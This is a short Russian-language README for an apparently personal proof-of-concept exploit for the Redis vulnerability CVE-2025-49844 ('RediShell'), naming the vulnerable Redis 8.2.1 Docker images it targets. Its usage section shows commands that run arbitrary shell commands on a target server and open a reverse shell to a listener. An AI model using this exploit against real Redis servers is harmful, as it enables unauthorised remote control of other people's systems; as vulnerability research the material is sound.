CVE-2025-49844

Мое личное доказательство концепции для CVE-2025-49844, также известного как RediShell.

Поддерживаемые целевые сборки:

• x86-64 Linux redis:8.2.1-alpine Docker image
• x86-64 Linux redis:8.2.1-bookworm Docker image

Это немного коряво, вероятно, не так хорошо, как у Wiz Research. Тем не менее, я рад, что мне удалось заставить его работать до того, как выложат доклады с Hexacon 2025, и я отлично провел время, исследуя его.

Использование

Выполнение односторонних команд оболочки:

$ uv run cve-2025-49844 command "echo 'hello world' > /data/hello.txt"

Подключение к обратной оболочке:

$ uv run cve-2025-49844 rshell -l 127.0.0.1 -p 4444